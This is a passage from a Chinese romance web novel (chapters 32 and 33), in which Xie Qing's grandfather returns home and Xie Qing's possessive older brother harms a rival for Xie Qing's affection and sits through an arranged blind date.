连忆心脸色几番变幻,最后终于勉强摆出笑脸:“爷爷,您就是阿清的爷爷啊?您好,我叫连忆心,是……” “是一个知名歌手!”谢清抢答,并瞪连忆心,“我爷爷平时不关注娱乐圈,你不要多嘴。” 谢呈冰也在边上冷硬地看着连忆心:“别乱叫爷爷,这不是你爷爷。” 连忆心用力忍耐了一下。 谢老爷子乐呵呵笑道:“哦,歌手啊?小清,是你提过的,喜欢的那个歌手吗?” 谢清脸色尴尬:“爷爷记性真好,不过那是以前啦。” 连忆心倒是多云转晴了:“爷爷,我也喜欢阿清呢。” “是吗?哈哈哈,我们小清没什么出息,不像你们这些有才华的明星。” 谢清小声:“爷爷……” 老爷子脸一板:“好了,在外面也玩够闹够了吧?是不是可以回家了?” 谢清用力点头:“爷爷回来了我就回!” 白年适时走上前:“清清……” 谢清回头,见他好像十分忐忑不安,右手想来拉自己但半途止住了,左手还攥着断裂的宝石手串。 谢清拉住了他:“年年哥哥,你和我一起走吧,免得有人和你过不去。”他撇了连忆心一眼。 白年:“可是我……可以吗?” “怎么不可以呀!”谢清转头对谢老爷子笑,“爷爷,我带个朋友去家里做客好不好?” 爷爷回来给他撑腰了,他想带谁就带谁!谢呈冰再不能乱限制他,谢清有几分赌气地看向哥哥。 谢呈冰面如冰霜,看一眼都能将他冻住。谢清又不敢多看了。 谢老爷子当然没意见,观察了一下谢家兄弟俩的表情和动作,哼道:“走了,回家,有的事回家再说。” 第32章 第 32 章 谢清挽着谢老爷子的胳膊上了自家的车, 谢呈冰也要上来,谢清一慌,赶紧拉着白年坐在自己旁边。 谢呈冰驻足盯了他几秒, 才折身去了副驾。 “爷爷你怎么才回来啊,我想死你啦。”谢清一上车就开启甜言蜜语模式, 哄得谢老爷子笑声不断。 “我再不回来,你和你哥真是要反了天了。”谢老爷子捏了捏养孙的鼻子, “和你哥吵架就吵架, 还学会离家出走了?” 谢清从后视镜里看了看外面, 爷爷身边跟的还是宋氏的保镖们,严恺就在其中。但谢呈冰那边的多了几个生面孔。 宋岩还是不知所踪, 谢清也不敢问他有没有回来过,爷爷如果知道宋岩和他私奔的事, 还不知道要怎么发落。 谢清只好转移话题:“爷爷,还不是哥哥他,他坏事做尽!您问他!” 谢老爷子哼了一声, 显然也是听说了谢呈冰禁足他的事, 不过车上还有白年这个外人在,老爷子并没有放在台面上说。 他看了看养孙和边上的白年,对大孙子道:“小冰啊,我不在的时候你究竟是如何亏待了你弟, 回去可得好好给我交代, 你瞧, 他都不认你这个亲哥, 跑去认别的哥哥了。” 表面上是在讥讽谢呈冰, 实际上不好说。 白年垂着眼睛仿佛没听懂。 谢清辩解:“爷爷,年年哥哥他是……是我小时候的好朋友。”谢老爷子把他当成亲孙, 如果提福利院,未免有点和谢家生分的感觉,所以谢清只强调是小时候。 白年说:“谢爷爷,我并没有高攀谢家的意思。不过我真是把清清当成自己的弟弟爱护,从小到大都没有变。” “好,多好啊。”谢老爷子慈眉善目,待白年十分客气,但对着谢呈冰时话锋又是一转,“你瞧瞧人家,再瞧瞧自己,当哥当成你这样真是失败,没良心的东西。” 谢清终于忍不住回护:“爷爷,话也不是这样说,年年哥哥只是我的儿时玩伴,哥哥他永远是我最好的哥哥。” 谢呈冰如同雕塑一般的背影似乎轻轻动了一下。 谢老爷子就是喜欢养孙重情义的样子,拍拍谢清的头:“我们小清是好孩子。” 白年搁在腿上的手缓缓收紧握成了拳。 一路上,谢清得知谢老爷子原来是刚下飞机,就跑来接自己了。他的踪迹已经被谢呈冰掌握,本来谢呈冰也要来找他的。 爷爷还没来得及详细询问他们两兄弟发生了什么争执,只从严恺口中大概得知,谢呈冰把人关在家中限制自由,谢清一怒之下离家出走。 老爷子心中应该有自己的猜测,也许就和谢清猜的差不多,是为了利益之类的,因此有些话不适合挑明,爷孙俩都极力把这场冲突营造成小打小闹,铺满了台阶,希望谢呈冰早日回心转意,顺着下来。 谢呈冰在车上一直沉默,一句话也不为自己辩解。 这种沉默持续到了谢宅。 回到谢宅,谢老爷子先是客客气气让谢清安顿一下客人,等谢清带白年去了客房,出来就看到老爷子声色俱厉地要请家法揍谢呈冰。 谢清是希望爷爷给自己撑腰,但也没要爷爷真打人,谢家家法严明,挨一顿打不进医院才怪。 谢呈冰往地上一跪,一声不吭。谢清心里骂:“你这会儿怎么没话了!”,动作上已经扑过来挡住老爷子:“爷爷,倒也不用这样呀,让哥认个错给我道个歉,说以后不再这样,我,我就原谅他了……” 谢清认为自己已经够给台阶了,哪成想谢呈冰居然挺直背脊:“我承诺不了。” 谢清不敢相信:“谢呈冰你脑子有病啊?!快点和爷爷服个软,这事就算了。” 谢呈冰:“这顿打早晚要挨,不如现在我说个明白,我——” “你住嘴!!”谢清恨恨地甩开他,“你关我监视我,我都没找你算账呢,现在我家都回了,也不要你怎么付出代价了,就道个歉你都不?谢呈冰你真是……爷爷说得对,有你这么当哥的吗?我再不想认你这个哥哥了!” “那正好。”谢呈冰惨笑一声。 “混账,找打!”谢老爷子气得抄起家棍。 谢清终究不想闹到这种局面,还是上去抱住了老爷子:“爷爷,家里还有客人,给他留点面子,等客人走了再打不迟。” 谢老爷子皱了半天眉,终于还是任由谢清拿走了家棍。 谢清一眼都不想再多看谢呈冰,重重踩着楼梯回了卧室。 他本来以为爷爷回来,一切就又能回到以前了,可是现在看来并不会,他再怎么不愿意承认,谢呈冰就是变了。 再也不是那个对他有求必应的哥哥了。 谢清冲进卧室,背靠着房门滑坐在了地上,眼泪控制不住的流出来。 “欣欣弟弟。” 他突然想起来白年还在,又赶紧抹了抹眼睛。 白年走过来,表情很复杂:“他欺负你了吗?谢爷爷没有给你撑腰吗?” 谢清摇摇头:“别提他了,我恨死他了。” 白年温柔地替他擦掉眼泪,抚摸他的头发:“我才是你的哥哥,谢呈冰和我们本来就不是一路人。别难过了,我还在,我会继续像小时候那样对你好的,好吗?” 谢清扑进了白年怀里大哭起来。 或许他想要的家人,他渴求的无条件的爱,谢家根本给不了他。 第二天,谢呈冰在玄关更衣准备去公司时,谢清特意拉着白年在他附近聊今天要去哪里玩。 谢呈冰几次放下公文包要走过来,但看见坐在客厅悠哉悠哉喝茶的谢老爷子,又重新转回身当什么也没听见。 有谢老爷子坐镇就是不一样,谢清都想不明白,自己一年前离家出走那次,为什么没让人把爷爷喊回来? 谢清故意大声密谋说要去酒吧。 谢呈冰还是听不下去了,板着脸过来:“不行,你酒量差,酒品更差。喝醉了跟哪个男人上床了自己都不记得。” 谢清脸一黑:“有你说话这么难听的吗?” 白年也说:“清清,别去酒吧了,乱七八糟的吵得很,我还想和你好好说说话呢。你昨天晚上不是说想吃火锅吗,我们今天去吃火锅吧。” 谢清就像一个叛逆期的孩子,家人说的话一定不听,但朋友给出一样的建议就可以接受:“那好吧,我听年年哥哥的。” 白年笑着捏了捏他的脸颊。 谢清无视了谢呈冰,越过他走出门。白年紧随其后,与谢呈冰擦肩而过时,谢呈冰在他耳边沉声说:“你碰他一次,我叫人打你一次,想不想活命,全在你。” 他的目光锋利的如同淬了寒毒,刀刀割人心,白年勾了下嘴角,加快脚步追出去,长臂一展,当面搂住了谢清扬长而去。 谢清出门的时候显得特别欢呼雀跃,可到了火锅店也并没有提起精神,反而撑着下巴一直走神。 白年叫了他好几声:“还在想谢呈冰?” 谢清否认:“都说了别提他了。” 白年换了个位置,从对面转移到了他身侧,拉起他的手腕,给他套上了重新串好的宝石手串:“嗯,不提他,你就只看着我,只想着我吧。” 谢清抬起手腕一看,诧异:“你把它修好了?” “嗯,有些石头已经磕坏了,我替换了一些水晶。” “为什么给我啊?” “本来就送给你了呀。” 谢清嘀咕:“明明说是送给岩哥的。” 白年笑着刮了下他的鼻子:“笨蛋,打从我给他的那一刻,就知道会被你抢去。” 谢清转动了一下手串,脸有些发红。 “年年哥哥,你为什么还是对我这么好?” “就说你是笨蛋吧。” 服务员把白年点的东西端上来了,谢清一看,有好多海鲜:“你不是海鲜过敏吗?点这么多。” “你爱吃呀。”白年笑着给他下进锅里。 谢清小声问:“你一点也不恨我吗?小时候,要不是我抢走你的风头,说不定谢家领走的人就是你了。” 昨天晚上他从白年口中得知,白年后来一直在福利院,差点都要没钱读书了,还好后来院长帮忙筹款,连隐恰好资助了一些学生。 白年摇摇头:“你想太多了,就算你不出风头,谢怀章会挑走的人依然是你。” 谢清愣了下:“为什么?你——你知道些什么?” 白年摸了摸他的眼睛:“你知道谢怀章,你的养父,为什么独身了一辈子吗?” 谢清也怔然抬手,碰到了白年的手:“连叔叔和我说,因为我像一个人。难道那个人就是……?” 白年点点头:“对,谢呈冰的生母,谢怀章的白月光。那个女人从来没有爱过谢家的男人,她是被迫怀孕的,生下谢呈冰就离开了。我听说她小名恰好也叫心心。” 谢清神色复杂:“爸爸居然做过这种事……” “所以你也不用太感激谢家了。依我看,谢家父子俩一个比一个有病。” 谢父如何谢清不想评价,但听不得白年骂谢呈冰:“我哥……是很可恨,但也有好的时候。” “你还叫他哥哥?” 谢清不说话了。 白年给他夹菜:“好了,不说谢家的事了。难得出来,还是说说我们吧。你今后有什么打算呢?我看谢老爷子对你好像还是不错的,你要不要趁此机会把股权……” 谢清脸有些僵:“这不还是谢家的事吗?” 白年顿了顿,笑:“对,都不说了。不然说你男朋友吧。” “什、什么男朋友!我没有男朋友。” “哦,应该说是前男友?”白年说扳起手指头,“我听说连忆心和你有一段,秦家的小少爷还为你退了婚,还有那个宋岩,也对你有意思。清清喜欢什么样的男人呢?” “都是些讨人厌的家伙。”谢清嘟哝。 白年笑道:“那你看年年哥哥怎么样呢?” 谢清傻眼了。 什么叫年年哥哥怎么样? “你、你在说什么啊?” 白年不给他装傻的机会:“如果我当你男朋友,你觉得怎么样?” 谢清鼓起嘴巴:“我可不缺男朋友。” “我不是在开玩笑的,”白年用纸巾帮他擦了擦嘴角的番茄汤汁,擦掉了,却感觉谢清的嘴唇依然红彤彤的,唇红齿白、眉目如画说的就是这样吧。他盯了一会儿,浅笑:“给你一点时间考虑哦。” 临走时谢清把许多没吃完的海鲜丸子、虾滑之类的打包起来,白年以为他没吃够:“带回家你就忘了,下次再带你来吃新鲜的不就好了。” 谢清哼道:“这是带回去馋谢呈冰的。” 白年笑容淡了一些。 之后他们又去看了个电影,回谢宅已经是晚上了。 在家宅楼下,白年看到两个人的影子,就想起来小时候教谢清完手影戏,于是又变了个老鹰给他看。 谢清也笑着比了只兔子,就是不让老鹰捉到。 眼看兔子无路可逃了,他干脆伸手捂住了白年的眼睛。 白年:“小坏蛋,总是耍无赖。” 谢清看见白年清朗的笑颜在月光下温柔似水,突然凑上去,蜻蜓点水地亲了他一下。 手撤下来的时候,他发现白年目光变得深邃,扣住他的腰回吻上来。 谢清贴着白年的胸膛,听见他心如擂鼓,心情变得轻快起来,慢慢想要闭上眼睛,可冷不丁的,他视线往上一掠,发现二楼的窗户前,谢呈冰正如同一具冰冷的僵尸站在那里。 明明看不清楚谢呈冰的表情,可谢清在那一瞬间感觉哥哥的愤怒像冰雹一样砸下来,他大热天打了个寒颤。 白年搂住他的胳膊:“冷?” 谢清没了刚才旖旎的心思,一把推开他:“早点睡。” 谢清上楼的时候没开灯,但他看到了谢呈冰就在楼梯口等着他。 他明知故问:“谁在那儿啊?” 谢呈冰没有接话。 谢清愠怒地加重了脚步,又是这样,给台阶不下,那他们就永远别说话好了! 他已经下定决心至少一周都不再理谢呈冰,不,直到谢呈冰放软态度前,都不再理他! 他走到卧室门口时,谢呈冰突然问:“火锅好吃吗。” 谢清脚步一停。 “哼,给某人带了点回来,说点好听话,就考虑给你尝尝。” 楼梯的壁灯被人按开了,白年讶异地走上来:“欣欣,怎么不开灯?咦,谢先生也在啊,怎么都摸黑说话?” 谢呈冰极具警告性地看他一眼:“欣欣是你叫的?” 白年微笑:“我从小就这么叫他,不可以吗?” 谢清:“……说了好多次了不许喊还喊,不可以。” 白年:“嗯,好吧,私下再喊。” 谢清有些心烦意乱,他想让白年快点回客房,然后单独和谢呈冰讲话。可这种要求绝对不可能当着谢呈冰的面提出来,那样他就输了。 谢清只好清清嗓子:“年年哥哥,你累了吧,早点休息。” “不累啊,我还想多和你待一会儿,刚才没做完的事……” 谢呈冰“啪”一下按灭了壁灯:“都回屋去。” 白年:“对了谢先生,欣……好啦,清清顺便打包了些海鲜回来,你如果没吃晚饭可以叫厨师做,食材我放冰箱了。” 谢呈冰:“顺便?”他看向谢清,“不是专门给我带的吗。” 白年:“是我海鲜过敏吃不了,才剩下了呢,都是生鲜食材,你应该不介意吧?” 谢呈冰冷笑一声,扭头回了书房,关门时“嘭”一声。 谢清瞪着那扇门:“我都没发作,他倒有脾气了??” 说完也气鼓鼓摔门进了卧室。 翌日晌午,谢清起来发现白年的客房门紧闭,看了看时间,有点奇怪。 他上去敲了几下,白年的电话正好打进来,一接起来,有气无力的:“清清,我在医院……” 谢清一惊:“好端端怎么会去医院?” 他问清楚地址,赶紧驱车过去看白年。 到了以后一问才知道,说是海鲜过敏,挺严重的,幸好及时服药加送过来及时。 “怎么回事?”谢清不解,白年知道自己的过敏源,怎么还会进医院呢。 “是早上谢先生邀请我一同用餐,没有提醒我粥里有鱼片,误食了……清清,你也别怪谢先生,是我自己大意了。” 谢清气得当场就要去找谢呈冰算账:“不怪他?昨天你才当着他的面说过你过敏,他记性好的要命,会把这种事忘了吗?我看他根本就是故意的!” 白年拉住谢清的手:“算了,我觉得谢先生不太待见我。是不是我在你家做客太打扰了?” “有什么打扰?!”谢清愤懑道,“我请了爷爷回来撑腰,他报复不了我,就针对我的客人!” 他甩掉白年的手:“别拦我,我非要让他过来给你道歉!” 谢清冲到医院走廊打了电话,没一会儿功夫,谢呈冰人还真的来了。 谢清质问:“你是故意的吧?” 谢呈冰居然当仁不让:“是。” 谢清双眼通红,仿佛不认识谢呈冰一样看着他。谢呈冰伸手想触碰,被他躲开了。 “……”谢呈冰说,“鱼片那么大,他大可以不吃,说是误食你也信?谢清,长点脑子,别总被男人骗。” “骗我最深的男人就是你吧!” 谢清拽着他来到白年病床前:“你和年年哥哥道歉。” 白年:“清清,不要了……” “给他道歉!” 谢呈冰:“我没下毒已经是手下留情。” 谢清:“你要是不道歉,我就和爷爷告状!这次我不会再心软了。” 谢呈冰:“如果你心软只是念及不存在的兄弟亲情,那就别心软。” “不存在……”谢清怔怔后退了一步,撞在病床护栏上,眼底止不住的难过。 早知道,他就不回来了。 他是抱着一丝,说不定一切会回归正轨的愿望,才强装无事的回来了。 失忆前的自己都比现在的自己聪明,知道请了爷爷回来也解决不了根本问题。 “爷爷都还在……你连、连装都不装了吗?”谢清难过的几度说不下去。 谢呈冰看着他眼眶里打转的泪水,表情也黯然下去:“对不起,我只是再也做不到骗自己。” 停顿片刻,他续道:“你接受不了,我才一直忍着。谢清,我也有忍不下去的时候。” “忍不下去什么?”谢清奇怪。 “清清……我有点难受,”白年忽然打断他们两个,“可不可以帮我接杯水。不用叫护士,喝口水就好。” 谢清接了杯水回来,深吸了一口气,重新看向谢呈冰:“算了,不用说车轱辘话了。反正你拒不道歉是吧?行,咱们这就一起回家见爷爷。” “好。”谢呈冰转身就走。 谢清气得不行,白年安抚地揉了揉他手:“我真的没关系,你别去了,就留下来陪我吧,或者我跟你一起去。” 谢清看到白年苍白的脸色,回握住他的手:“年年哥哥,我一会儿就回来陪你,医生说你还要留下来再观察一小时呢。” 白年望了病房门口一眼,把谢清拉近了些,小声说:“那你再亲我一下,就放你走。” “都什么时候了还想着这个。”谢清不轻不重地拍了下他,白年轻轻笑了一声,又拉拉他。 谢清弯腰凑了上去,突然门口“咚咚”两声,好像有谁站在那里,用鞋尖敲了两下地板。 谢清以为是谢呈冰去而复返,下意识和白年拉开了距离。 白年眼神一黯。 “我……我去去就回。”谢清转身跑掉了。 推开病房门,却没有任何人的声音。 “奇怪了?”谢清嘀咕着转过拐角,瞬间被一双布满枪茧的大手捂住口鼻,拖着往后走了好几步,一直到被抵在墙角。 那只手松开后,谢清刚要大声呼叫,背后的人就隔着衣服一口咬在肩上。 谢清惊呼一声,然后看清了是严恺。 “你有狂犬病吗!乱咬什么……吓死我了。” 严恺眼底尽是邪戾之气:“咬死你个小没良心的,我替你把谢老爷子接回来了,不知道来谢谢我,成天就和别人卿卿我我,那个人是谁?你的新男友?你不找男人会死是吧?” “关你什么事!做好你分内之事就行。” “我分内事?我做分内事还轮得到让你使唤?”严恺直接动手扒起他的衣服,“里面那个野男人昨天住进谢家了?让我看看小骚货和他睡了几次?” “啪——”谢清扇了他一个响亮的耳光。 “嘴巴放干净点,你忘了自己还有把柄在我手上是不是?” 严恺笑的凶厉:“你真以为我是因为那个‘把柄’才替你办事?” “不然呢?!” 严恺被他反问的一顿,刚才脱口而出的心里话让他自己也愣了一下。是啊,不然呢? 如果不是谢清拿捏着他夜袭的证据……或者说,那个证据——他虎口上的疤,早就已经愈合了,证据根本就已经荡然无存了。 口说无凭,他干嘛还巴巴的赶着给人当牛做马,有病吗。 严恺表情扭曲,谢清趁机从他手中挣脱出来,理了理衣服:“好了,你替我接回爷爷,是要谢谢你的。对了我问你,你有没有岩哥的消息?” 严恺表情刚刚舒展了一点,听到后半句又拧起来:“我怎么知道!他不是被大少爷调去隔壁市了吗。” “那是之前的事了,现在……算了,看来你也不知道。” “岩哥出什么事了?” 谢清皱眉:“我也想知道才问你的,他一点消息都没有,我担心秦家,连家或者宋叔叔……任何人都可能已经抓住他了。他再怎么说也因为我受着伤……” 严恺骂道:“还受伤了?你还真是红颜祸水!岩哥打从接近你以后就再没好事。” 谢清瞪他:“对!所以你也离我远点,免得倒霉!” 严恺瞋目竖眉,盯着谢清走掉的背影,他实在也说不上自己今天偷跑过来见他是想说点什么,又想听到什么。总觉得讨厌极了谢清那副逞娇斗媚的样子,恨不得一口下去咬住他的皮肉,把他浑身咬个遍。 这感觉糟糕透了。严恺抽了自己两巴掌,想把自己拍清醒一点,想来想去只得出一个结论:“红颜祸水!” 谢清进家门前,做足了心理建设,这次说什么也要硬下心肠。 他推开门,刚一踏进玄关,就听见爷爷在客厅大声训斥谢呈冰的动静,还砸了一个花瓶。 谢清眼皮一跳,慌忙跑过来。 “爷爷,别生气啊,气坏了身体怎么办,怎么了这是?”他惊疑不定地看向谢呈冰。 难道他哥回来以后主动认错了? 谢老爷子在谢清的搀扶下坐进沙发里:“小清,还是你这孩子听话,你劝劝你哥,我现在是说不动他了。怀章走了,老头子我不仅白发人送黑发人,现在连亲孙子都不把我这糟老头子放眼里了!” 谢老爷子说着是真的伤心到背过气,呼吸快的好像哮喘发作,谢清和谢呈冰都吓了一跳,上前准备做急救,幸好老爷子平时身体素质还行,掐了会儿人中就缓了过来。 谢呈冰:“爷爷,我没有不把您放在眼里,您身体要紧。” “是啊爷爷,身体要紧,哥是气人了点,不可能不听您的,对吧。” 谢清着急地眼神示意谢呈冰,谢呈冰沉默片刻:“嗯。” 谢清一边拍爷爷后背,一边心中计较,看这个情况,现在告状可能不太合适。也不知道刚才到底怎么了? 谢老爷子喝了杯茶,才慢悠悠重新开口:“林家姑娘好得很,怀章还在的时候,就有意促成你们的婚事,可你连见都不肯见人家!当时怀章还给我写信,叫我管管你,我想啊,儿孙自有儿孙福,老头子我不插手,结果这一个不插手,谢家现在都成什么样子了?” 谢清拍打后背的动作也渐渐慢了下来。 原来如此……是说哥哥的婚事。 “小冰,你也该成家了。既是为了你自己,也是为了稳定谢氏集团在外界的口碑,你身为继承人,理应担起责任!” 谢呈冰垂着眼睛,谢清看了他一眼就知道他想要顶嘴,赶紧说:“爷爷说得对。哥哥,不就是去相个亲吗?你就去一下吧,如果不合适,还可以慢慢相的嘛,但总要有个行动对不对。” 他冲谢呈冰使劲挤眼睛。 谢呈冰:“好,我听爷爷的。但是我想让谢清和我一起去。” 谢清一脸问号:“你相亲,我去干什么?” 谢老爷子却笑逐颜开:“好,这个想法好。小清啊,你就和你哥一起去,你未来的嫂子,当然也要你同意才好。” 谢清无辜地看了看爷爷,再一转头,就见谢呈冰直勾勾望着他。他只好硬着头皮答应了:“好嘛,我也去就是。” 反正别叫他也相亲就行。 叫他相亲也没用,爷爷还不知道他哥干了什么混账事,他现在严格意义上都已经不算谢家人了。 谢清又转念一想,他哥今天只是违抗相亲就把爷爷气成这样,要是知道了那件事,还不得当场昏死过去? 现在他哥是单身,谢家就他们兄弟俩,他还不觉得自己是局外人,等谢呈冰有一天也成了家,那他…… 谢清越想越失落,逐渐垂头丧气起来。 谢老爷子说风就是雨:“太好了,我现在就给林家致电,安排小冰和林家小姑娘明天,不,今晚就见一面!小清,你和你哥哥一起。” 老爷子把谢清拉到身边,小声嘱咐:“你哥不会说话,到时候你可要好好帮忙撮合吗,要是成了,爷爷给你包大红包!” “没问题爷爷,交给我吧。”谢清答应了,心里却有点不是滋味。 等谢老爷子一离开客厅,谢呈冰忽然上前一步拉开谢清的衣领,目光凶狠:“这是什么?” 谢清偏头一看,好家伙,严恺果然是条狗,隔着衣服都给他咬出了牙印子。 “是白年咬的?”谢呈冰问,“他还碰你哪里了?” 谢清冷哼一声:“那就多了。用你管?你去相你的亲吧。” 他走到门口穿鞋,被谢呈冰一挡:“你去哪儿?” “去医院陪年年哥哥啊,你害人家过敏了,不赔礼道歉,还好意思拦着我?” “晚上你要和我去见林小姐。” “那你晚上来医院接我。” 谢呈冰拽住他:“他不是你哥。” “对啊,我也没说是嘛。哪有哥哥和弟弟亲嘴的呢,你不是看见了吗?”谢清甩开他的手。 “谢清,是你逼我的。”谢呈冰沉声道。 “莫名奇妙。”谢清没精神和他吵架,自顾自摔门而去。 第33章 第 33 章 谢清回到医院时, 白年已经不在了。窗子上放了一封留给他的信,拆开一看,上面简单写说让谢清别来找他。 那一看就不是白年的字迹, 谢清撕了信丢进垃圾桶里,给谢呈冰打电话质问:“你把年年哥哥弄哪儿去了?” 谢呈冰果然没有否认, 而是反问:“你确定要见他?” 他把电话拿到不知什么地方给谢清听,那一头传来拳打脚踢的声音和白年的闷哼。 谢清震惊:“谢呈冰!你在对他干什么?!” 谢呈冰:“我早提醒过他了, 是他不听。” “你在哪儿!” 谢呈冰:“今晚你要先陪我, 我满意了, 再考虑要不要放过他。” 谢清捏着电话的手收紧了:“那你怎么样才能满意?” “爷爷是不是让你从旁撮合?”谢呈冰说,“我要你什么都别做。” 谢清一口答应。 这也不是什么难事。 谢呈冰默然了一下, 发出冷淡的笑声:“你还真是看重他。” 谢清皱眉:“我是为了阻止你误入歧途!你知不知道自己过于蔑视法律了?” “这话还稍微中听一些。”谢呈冰说,“今晚八点, 翡冷翠二楼A16卡座,不要迟到。” 谢清紧紧闭上了眼睛,用力揉捏眉心。他头痛的要裂开了, 他好像上了一列在睡梦中意外发车、不知道何时停下, 也不知道去往何地的快车,窗外是白茫茫的冰天雪地,他甚至想不起来自己为什么在车上。 从前生活中的任何事,只要有谢呈冰在都不是问题, 可现在, 谢呈冰成了他生命里最大的问题。 晚上八点, 谢清准时来到谢呈冰相亲的意餐厅。 服务员领他到A16卡座, 四个人的座位只有他一个, 背后是装饰的假绿植。 透过绿植,他看见了后面的卡座坐着一个穿亮片裙的美丽女人。 她那一桌布置了浪漫烛光, 红酒放置在冰块中,点缀着玫瑰。谢清的直觉告诉他,这可能就是林小姐,他不久前冒充过的人。 他的猜测在谢呈冰到来后得到了证实。 谢呈冰从他那一侧迎面过来,淡淡看了他一眼,走向了后面的女人,然后坐在了她的对面。 “林小姐,您好。” 林小姐开口了,声音比长相还甜美:“谢呈冰?你好你好。” 谢清没想到谢呈冰给他的安排,是让他不露面,就这么旁听他的爱情,连插嘴的机会都不给他。 他有些不快,心中冒出故意过去“偶遇”的念头,但又想,就先听听谢呈冰要和林小姐聊什么好了。 在他陪“太子”读书的学生时代,谢呈冰就不会应对女孩子,隔壁班花把情书夹在习题册里还给他,他居然都能当众抖出情书,还给班花,说:“你落东西了。” 班花红着脸声若蚊呐:“就是给你的……” 他哥面不改色:“不,不是我的。如果也不是你的,那我交到失物招领处了。” 谢清在后面替班花骂:“死直男。” 回家以后,谢父会关心儿子今天在学校有没有开朗一点,就侧面和谢清打听,谢清便笑着说:“哥哥在学校可受欢迎了!爸爸放心吧!” 谢父得到了想要的答案,但马上又有了新的忧虑:“也不能什么乱七八糟的朋友都交,那些学习差的,社会上混的,少和他们往来。” 谢清又和爸爸保证:“哥哥是年级第一,同桌是年级第二呢!哥哥平时都和学习好的同学说话的。” 其实他和他哥又不在一个年级一个班,哪里知道他哥平时和谁讲话,反正他就哄他爸开心,顺便包庇一下哥哥就行了。 他都这么为谢呈冰着想了,没想到谢呈冰反而告他一状:“弟弟最近总和倒数第一讲话,课间还和他一起打篮球。” 比起大儿子的成绩,谢父对养子的要求没那么高,闻言只是意思的叮嘱一下:“小清,你也要向哥哥学习,不要被带坏了。” 谢清悄悄瞪他哥一眼:“我知道了爸爸。” 谢父走后,小谢清鼓着脸蛋故意不理哥哥,谢呈冰跟在他屁股后头失落地说:“那个人这么重要吗?你已经好几天课间不来找我了。” 谢清:“我又不是监视你的机器,给你空间你还不高兴啦?” 谢呈冰自说自话:“上次我看到他把你撞倒,你都不和他生气,还对他笑。” “那是意外好不好,打篮球出点状况很正常啊。” “那我昨天压着你的时候,你为什么生气?” 谢清不可思议地瞪大了眼睛:“能一样吗?!你那是故意的啊!我还想问你呢,你昨天莫名其妙压我干嘛?!” 谢呈冰沉默了一会儿,小声说:“弟弟好凶,只在爸爸面前乖。” 谢清一下哑火了,他以为谢呈冰在暗示要和爸爸告状,连忙放软了语气:“哎呀呈冰哥哥,瞧你说的,我刚刚是有点生气嘛,好啦,拉拉手,我们不吵架了,行吗?” 谢呈冰捏着谢清软乎乎的手,下垂的嘴角慢慢扯平了,看上去还是有点面无表情。 “我可以再压你一次吗?” “啊?”谢清纳闷,“为什么啊?” 谢呈冰说不出来为什么。 反正学生时代谢呈冰总有许多解释不出原因的要求,谢清理解不了哥哥的脑回路,就像哥哥永远不理解女孩子们的脑回路一样。 果然哥哥就单身到现在了。 谢清从回忆里抽身,打算仔细听一听谢呈冰这母胎solo王者的相亲策略。 只听他言简意赅,直奔主题—— “林小姐,我有喜欢的人了,会和他结婚。不会和你在一起,这顿饭我请,一会儿我送你回家,长辈那边我来解释。你还有什么条件?” 谢清:“噗——咳咳咳!” 和他动静差不多的是林小姐,林小姐用纸巾擦了擦溢出嘴角的红酒:“哈、哈哈……谢先生真直接啊。” 后面的卡座静默了一会儿。 林徵柔擦干净嘴角,慢慢开口:“既然谢先生这么爽快,我也直说了。对于长辈的任务,我的想法是,不是我也会是我妹妹,那不如是我。所以我同意找个门当户对的人结婚,如果结婚对你来说也是任务,我们不妨就合作一下,我也不会干扰你和喜欢的人在一起,同样的,你也别干扰我的私生活,你看呢?” 谢呈冰:“不行。” 林徵柔:“……” 谢清:“……”死直男!说话委婉点啊。 林徵柔:“我还是希望你考虑一下,毕竟我们两家结合,对你好处也很大。听说你刚刚接手谢氏,想必挺不容易的,放着顺风局不打,非要走逆风局吗?” 谢呈冰:“嗯。” 林徵柔:“……” 谢清:“……” 林徵柔:“哎,真可惜啊,本来想尽力说服你的,毕竟适龄又门当户对的男青年里,就你还算顺眼了。要不然,你能把你弟弟介绍给我吗?” “不行。”谢呈冰语气严肃,“他是gay。” “没事啊,又不谈恋爱,说不定他也需要假结婚?” “他喜欢真结婚。”谢呈冰说。 “哦,那真遗憾。” 两个人的聊天几乎就要进行不下去了。 谢清默默切起了盘子里的牛排,放弃露脸想法,同时为林小姐遥寄理解和同情。 服务员忽然抱着一大捧娇艳欲滴的蓝玫瑰走到林徴柔桌边:“林小姐,这是送您的。” 林徴柔差异地看了眼谢呈冰:“你送的?这么客——” “不是我。”谢呈冰说。 服务员和林徴柔同时陷入尴尬。 谢清也好奇地透过绿植缝隙偷偷看过来,见那捧玫瑰饱满鲜嫩,和桌上的红玫瑰比,多了几分神秘高雅,被精心包扎着,外层是柔软的蓝丝带。 光是隔着这么段距离看一眼,谢清就感觉到了金钱的味道。 服务员:“呃……是一位秦先生送您的。” “秦先生?”林徴柔更加惊奇了,“哪个秦先生?” 服务员低头确认卡片:“秦霄先生。” 谢呈冰眉梢微抬:“看来林小姐还是有合适人选的。” 林徵柔脸色却变得精彩纷呈:“秦霄?是我知道的,秦家那位大少爷吗?他什么意思啊?” 服务员转述:“秦先生还说,谢……谢先生不适合您,让您,呃,好好考虑。” 他本来以为坐林徴柔对面的才是送花人,没想到看情况对面这个才是谢先生,怪他没看客人信息,怪不得刚才没人肯来送花,都推脱给他。 只是幸好这位谢先生看上去并不生气,没有要当场发怒的意思。 服务员放下花,得救似的退开了。 林徴柔瞪着那捧蓝玫瑰,好像又费解,又生气。 谢清吃了一场好瓜,特别想转过去看看他哥的表情。秦霄?如果不是同名的话,那人应该就是秦屿他哥吧? 原来秦家真和他们家不对付啊,这个秦霄连他哥的相亲都要从中作梗。 谢清有点想笑,谢呈冰这时却突然转了过来,从绿植缝隙中与他有了一个对视。 谢清匆忙转回身,专心切牛排。 送花的小插曲很快被忽略,林徴柔问:“结婚这事真没的商量了?” 谢呈冰:“祝你和秦霄幸福。” “不是!我和那个人渣绝对没可能!……算了说了你也不懂。不说了,今天就这样吧,这顿饭AA,我和姐妹出去玩了,你回去和长辈统一口径,就说我们互相了解到十点各回各家的。” 谢呈冰看了下时间,现在才八点半。 林徴柔:“你要是再拒绝,我回去就和你爷爷表示看上你了非你不嫁。” 谢呈冰马上闭嘴了。 谢清震撼,还有人能威胁到他哥! 吾辈楷模…… 林徴柔走后,谢呈冰就从后面的卡座绕了过来,稀松平常地问:“还合胃口吗?用不用给你加点什么。” 谢清:“……合,不用。” 谢呈冰就淡定地低头用起餐来,仿佛今天本来就是出来和弟弟一道吃饭的。 